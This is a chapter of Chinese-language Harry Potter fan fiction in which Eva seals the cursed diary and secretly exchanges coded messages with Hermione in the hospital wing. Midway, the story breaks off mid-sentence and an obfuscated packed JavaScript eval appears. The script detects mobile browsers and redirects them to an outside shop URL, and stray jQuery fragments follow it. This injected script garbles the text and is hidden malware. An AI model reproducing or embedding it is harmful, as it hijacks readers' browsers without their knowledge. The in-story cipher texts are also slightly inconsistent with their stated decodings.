圣诞节之后的第三天，雪停了。


    天空还是灰蒙蒙的，但云层裂开几道缝，漏下些稀薄的光。Eva站在拉文克劳塔楼的窗前，看着外面白茫茫的世界。庭院里几个留校的高年级学生在堆雪人，笑声远远传来，被厚厚的雪吸掉了大半，听起来闷闷的。


    这三天简直是煎熬的等待。每一天都度日如年。尤其是有天半夜醒来，她发现自己竟站在书包旁，手已经伸向那本日记——虽然只差一点就碰到，虽然很快就清醒过来，但那瞬间的恍惚让她心惊。那东西在试图影响她，即便隔着书包，即便只有一次短暂的成功，也足以证明它的危险在增长。


    爷爷的回信终于到了。


    信很短，字迹苍劲有力，用的是毛笔和墨，写在宣纸上，折得整整齐齐。


    “丽华：


    信已阅。你所述之物，非器，乃‘念’。念既种下，器可离，根难除。


    玉佩不鸣，因其非外邪，乃内生之隙。心若有隙，湿气自渗。


    封之为上策，铁器棉衬，置阳燥通风处，勿近人息。


    然封器易，拔根难。根深者，需雷霆手段，或寻其本。你身处异域，前者不便，后者如雾里寻藤——所见为枝，其根深藏别处。


    观那女孩，若离器后神思愈恍，行止悖常，便是根深之证。亦需留意，她之行止，是否与周遭异状隐有关联。


    记住：稳不在静，在看清脚下。雾里行路，慢即是快。


    守心。观势。勿独扛。


    爷爷字”


    Eva把信仔细折好，收进贴身的衣袋。宣纸很薄，带着墨香和爷爷书房里那种淡淡的草药味，此刻却重若千钧。


    “非器，乃‘念’。”


    “器可离，根难除。”


    这两句话在她脑海里反复回响。所以金妮即使不在日记本身边，也依然被影响着？那个“根”已经在她心里扎下了？这也解释了她这几天同样受到影响的原因。


    “雾里寻藤——所见为枝，其根深藏别处。”


    日记本只是藤蔓的一枝。那么，滋养它的根是什么？密室？蛇怪？还是别的什么更古老、更黑暗的东西？


    爸爸“求稳”、“不惹麻烦”的告诫还在耳边。但爷爷也说：“稳不在静，在看清脚下。”


    她得看清。为了金妮，也为了这座城堡里所有被阴影笼罩的人。


    先做能做的。


    她翻遍了自己的行李。爷爷给的紫檀木笔盒太小，而且木质可能不够“隔绝”。黄铜天平砝码的盒子是金属的，但更小。最后，她的目光落在去年装月饼的一个铁皮盒子上——妈妈寄来的，盒子是红色的，上面印着金色的月亮和玉兔，吃完月饼后她洗干净留了下来，本来想装些小零碎。


    铁盒大小刚好，密封性不错。她从一件没穿过的纯棉白衬衫上剪下一块内衬布料，仔细垫在盒子底部和四周。然后，她戴上龙皮手套（魔药课要求配备的），小心翼翼地将那本暗红色的日记本从书包夹层里取出来。


    日记本摸上去还是那么冰凉。她没有翻开，直接将它放入铺好棉布的铁盒中，盖上盖子，用力按紧。接着，她用魔杖在盒盖接缝处点了两下：“速速禁锢。防水防潮。”一道细微的银光闪过，盒盖被暂时加固了。


    做完这些，她把铁盒放进衣柜最底层，用几件厚衣服盖住。阳光充足、通风干燥的地方暂时不好找，先藏起来再说。


    衣柜门关上的刹那，她似乎听见盒子里传来一声极轻的、仿佛指甲刮过内壁的嘶啦声。


    她僵了一瞬，补了个静音咒，防止室友察觉到异常。深吸口气，转身离开。


    是不是错觉已经不重要了。她需要弄清楚这根“藤蔓”到底连着什么，而那个“根”又埋在哪里。


    她需要帮助。需要一个能在暗处商量、又能看清全局的人。


    赫敏。


    Eva想起那晚走廊里蓬乱的棕发和压抑的呜咽。赫敏还在医疗翼，但以她的坚韧和智慧，哪怕在病床上，也一定在观察，在思考。


    直接去探望行不通，庞弗雷夫人看得紧。写信太冒险，猫头鹰往来会被看见。


    她需要一个自然的理由。


    看着窗外未化的积雪，Eva有了主意。爷爷说“雾里行路，慢即是快”，现在，她得找准第一步该踩在哪里。


    几分钟后，她穿着单薄的晨衣（特意没披斗篷），独自来到拉文克劳塔楼外一段背阴的、积雪未扫的走廊。冷风飕飕地灌进来，她打了个寒颤，但没有立刻离开。她在那段冰冷的石廊上来回走了几趟，让寒意彻底浸透衣衫，直到手指发僵，鼻尖通红，控制不住地轻轻咳嗽起来。


    这还不够。回到温暖的塔楼后，她没去烤火，而是用冷水洗了脸，然后坐在稍微通风的窗边，继续“整理”她那本总是随身携带的、记录异常现象的笔记本。她任由那股刻意招来的寒气在体内盘桓，没有像平时那样立刻用“炁”去驱散。


    到了下午，效果开始显现。她感到喉咙发痒，头有些昏沉，脸颊也微微发烫——不全是装的，冷热交替加上心神不宁，真的让她有些着凉了。


    时机刚好。


    她找到佩内洛·克里瓦特，声音带着点鼻音：“佩内洛，我好像有点感冒，头有点晕，想去医疗翼拿点提神剂。”


    佩内洛正在看书，闻言抬起头，仔细看了看Eva发红的脸颊和略显无精打采的眼睛。“确实脸色不太好。快去吧，我陪你去？”


    “不用了，就几步路，我自己去就行。”Eva摇摇头，“拿点药就回来。”


    “那好，快去快回。外面冷，把斗篷裹紧。”


    Eva穿上厚斗篷，但里面的不适感是真实的。她走向医疗翼，这次走的是正门。推开厚重的木门，熟悉的消毒水和魔药气味扑面而来。


    庞弗雷夫人正在为一个高年级学生包扎手上的伤口（看起来像是被什么植物划伤了），看见Eva进来，皱了皱眉：“怎么了，孩子？”


    “夫人，我好像感冒了，头有点晕，喉咙也不舒服。”Eva尽量让声音听起来有些沙哑，轻轻咳嗽了两声。


    庞弗雷夫人示意那个高年级学生稍等，快步走过来，用手背试了试Eva的额头，又让她张嘴看了看喉咙。“有点着凉，扁桃体有点红。”她利落地判断，“不算严重。在这儿坐着等一会儿，我给你配点药。”


    她指指靠墙的一排椅子，然后转身去药柜取药。医疗翼里很安静，只有那个高年级学生偶尔抽气的声音。Eva的目光状似无意地扫过里面那些拉着帘子的床位。最里面靠窗的那张……帘子下方，露出一角熟悉的、蓬乱的棕色头发，还有一只正在翻阅书本的手——是赫敏。


    她真的在这里，而且看起来已经能坐起来看书了，恢复得不错。


    庞弗雷夫人很快配好了一小瓶冒着热气的紫色药水。“喝了这个，回去睡一觉，发发汗。如果明天还不好，再来找我。”


    “谢谢您，夫人。”Eva接过药瓶，小口喝着。药水很苦，带着薄荷的刺激感。她喝得很慢，拖延着时间，同时用余光观察。


    赫敏就在最里面靠窗的床位，帘子半掩。她能看见赫敏靠在床头，头发依然蓬乱，脸色有些苍白，但眼睛正看着门口方向，眼神里有关切和询问——赫敏也看到她了。


    庞弗雷夫人转身去整理药柜，暂时背对她们。


    机会只有几秒。


    Eva当机立断，她没有试图靠近或说话（那太明显）。她迅速放下药瓶，从随身携带的用于装糖果和零碎羊皮纸的小布包里，抽出一张早就准备好的、折成指甲盖大小的正方形纸条，和一枚看起来普通无奇的青铜色回形针（麻瓜文具，在魔法世界不常见，但可作为无害小物件）。


    她假装咳嗽，用手帕掩嘴，快步走向医疗翼内部的洗手间（这个动作合理）。经过赫敏床边时，她的手“无意间”在帘子边缘拂过，那个小纸团和回形针便悄无声息地落在了赫敏盖着的被子上，恰好被毯子褶皱遮住大半。


    整个过程不到三秒。她甚至没有看赫敏一眼，径直走进了洗手间。


    在洗手间里，她迅速用冷水拍了拍发烫的脸（真病也有好处），深吸几口气。纸条上只有一行用最小号字体写的话，且用了她们曾在魔咒练习小组讨论过的凯撒密码（字母位移三位）：


    “L glb kdwhc wkh gldub. Lw hdwv Olqqb''v olih. Wkh prqvwhu lv d edvlovn. Qhhg khos.”


    （原文：“I found the diary. It eats Ginny’s life. The monster is a basilisk. Need help.”）


    回形针是信物——赫敏曾抱怨过魔法世界没有这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980662|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    种“方便的小玩意儿”，Eva送过她一盒。


    关键在于“如何回复”。Eva不可能频繁“生病”来医疗翼。赫敏也无法外出。她们需要一种即使赫敏在医疗翼，也能安全传递信息的方法。


    Eva赌的是赫敏的智慧和她在医疗翼能找到的资源。


    她走出洗手间，庞弗雷夫人已经整理好东西，正看向她。“感觉怎么样？”


    “好多了，夫人。我想回去躺会儿。” Eva脸色依旧不太好，这倒不全是装的。


    “回去吧，好好休息。”庞弗雷夫人点头。


    Eva离开医疗翼。她的任务完成了第一步：将信息和沟通的球，抛给了赫敏。


    当天晚上，Eva在拉文克劳公共休息室收到了意外的“回信”。


    不是猫头鹰，而是一个陌生的、看起来有点迷糊的家养小精灵，端着一个小小的银托盘，上面放着一杯据说能“安神助眠”的热牛奶（庞弗雷夫人有时会为生病学生提供额外的关怀）。


    “张小姐，这是庞弗雷夫人让多比送来的。”小精灵眨着大眼睛，声音尖细。


    Eva心中一震……她认出了这个叫多比的家养小精灵，以前似乎在厨房附近见过，而且听赫敏提起过，这个精灵对哈利有着古怪而执着的忠诚。赫敏一定是利用了这一点，才说服他冒险传递消息。


    多比放下托盘，深深鞠了一躬，啪的一声消失了。


    Eva端起牛奶，温热透过瓷杯传来。她不动声色地检查杯子和托盘。在杯碟下方，垫着一张医疗翼常用的、印有稀疏水印的吸水垫纸。垫纸看起来被牛奶杯底浸湿了一小块，但在边缘，有极淡的、用不同力度划出的细微痕迹，不仔细看就像纸张本身的纹理。


    Eva将垫纸拿到灯下，调整角度。是点状和划痕的组合，非常隐蔽。她认出来，这是她和赫敏曾经讨论过的另一种更简单的密码：摩尔斯电码的变体（赫敏对麻瓜知识感兴趣）。她仔细辨认：


    . -.. .- .. .-. -.--  .. ...  -.- . -.--  - ---  .--. .. .--. . ...  .- -. -..  -... --- --- -.- .-.-.-  .-- .- - -.-. ....  --. .. -. -. -.-- .-.-.-  ... . . -.-  .... . .-.. .--.  ..-. .-. --- --  .- -. -.-- --- -. . .-.-.-  -... .  -.-. .- .-. . ..-. ..- .-.. .-.-.-


    她快速在心中解码：


    DAIRY IS KEY TO PIPES AND BOOK. WATCH GINNY. SEEK HELP FROM ANYONE. BE CAREFUL.


    （“奶制品是关键，通向管道和书本。监视金妮。向任何人寻求帮助。小心。”）


    信息量巨大且模糊，但Eva瞬间明白了！


    1. “奶制品是关键，通向管道和书本”：赫敏可能在暗示，家养小精灵多比（与厨房、奶制品相关）可以成为在城堡管道系统（？）或传递书本/信息的关键渠道！多比似乎有自由行动的能力，且对哈利抱有善意（？也许赫敏察觉了什么）。这解释了回信方式。


    2. “监视金妮”：赫敏同意Eva的观察，并确认了金妮和日记是重点。


    3. “向任何人寻求帮助”：赫敏可能暗示，可以尝试接触其他可能提供帮助的人，比如海格（了解怪物）、差点没头的尼克（幽灵，知道城堡秘密）？或者仅仅是鼓励Eva不要独自承担。


    4. “小心”：不言而喻。


    赫敏在如此受限的环境下，不仅收到了信息，还用如此隐蔽、聪明的方式做出了回应，并指出了潜在的盟友和行动方向！


    Eva感到一阵振奋，同时也压力倍增。赫敏将“监视金妮”和“寻求帮助”的任务交给了她，而赫敏自己似乎在策划从“奶制品”（多比）和“书本”（或许指从医疗翼查阅有限资料）角度进行调查。


    她们之间，已经建立起一条脆弱但有效的秘密联络线。而下一步，Eva需要开始行动：更密切地观察金妮，并慎重考虑可以向谁寻求关于密室和蛇怪的帮助。